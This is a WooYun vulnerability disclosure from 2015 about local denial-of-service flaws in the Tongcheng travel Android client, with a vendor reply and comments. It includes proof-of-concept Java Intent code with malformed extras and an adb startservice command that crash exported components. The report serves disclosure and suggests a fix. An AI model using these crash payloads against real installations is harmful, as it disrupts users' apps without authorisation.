当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-089727

漏洞标题：同程旅游客户端多处本地拒绝服务

相关厂商：苏州同程旅游网络科技有限公司

漏洞作者： Nicky

提交时间：2015-01-05 16:56

修复时间：2015-04-05 16:58

公开时间：2015-04-05 16:58

漏洞类型：拒绝服务

危害等级：中

自评Rank：10

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-05： 细节已通知厂商并且等待厂商处理中
2015-01-05： 厂商已经确认，细节仅向厂商公开
2015-03-01： 细节向核心白帽子及相关领域专家公开
2015-03-11： 细节向普通白帽子公开
2015-03-21： 细节向实习白帽子公开
2015-04-05： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

同程旅游客户端多处本地拒绝服务，可造成客户端无限崩溃。

详细说明：

问题组件：com.tongcheng.android.TongchengMainUIActivity
测试代码： 
 Intent intent = new Intent();
 intent.setAction("android.intent.action.VIEW");
 intent.setComponent(new ComponentName("com.tongcheng.android", "com.tongcheng.android.TongchengMainUIActivity"));
 intent.setType("hack");
 intent.putExtra("body", BigInteger.valueOf(1));
 intent.putExtra("url", "*+./:-%&\"");
 intent.putExtra("operate", "*+./:-%&\"");
 intent.putExtra("fromMore", true);
 intent.putExtra("tag", "*+./:-%&\"");
 intent.putExtra("register", "*+./:-%&\"");
 startActivity(intent);


问题组件2：com.tongcheng.android.scenery.sceneryUtils.SceneryQQPayResult
测试代码：
 Intent intent = new Intent();
 intent.setAction("android.intent.action.VIEW");
 intent.setComponent(new ComponentName("com.tongcheng.android", "com.tongcheng.android.scenery.sceneryUtils.SceneryQQPayResult"));
 intent.setData(Uri.parse("%10010%"));
 startActivity(intent);


问题组件三：com.umeng.common.net.DownloadingService
测试方法：
adb shell am startservice -n com.tongcheng.android/com.umeng.common.net.DownloadingService

漏洞证明：

QQ图片20150102161816.jpg

修复方案：

对于可导出的组件，要验证null intent 是否正确处理，对输入参数做好异常处理

版权声明：转载请注明来源 Nicky@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-01-05 17:19

厂商回复：

感谢关注同程旅游，这个内部有报过哦。试了阿里聚安全 http:///和腾讯金刚审计系统 http:///kingkong
新版本快上线了，欢迎来搞。其他厂商建议也试一下上面提到的两个系统。

最新状态：

2015-01-05：公开，供其他厂商参考。

漏洞评价：

评论

  1. 2015-04-10 07:56 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    @苏州同程旅游网络科技有限公司 同程真棒！

  2. 2015-07-15 19:59 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    还是没有修复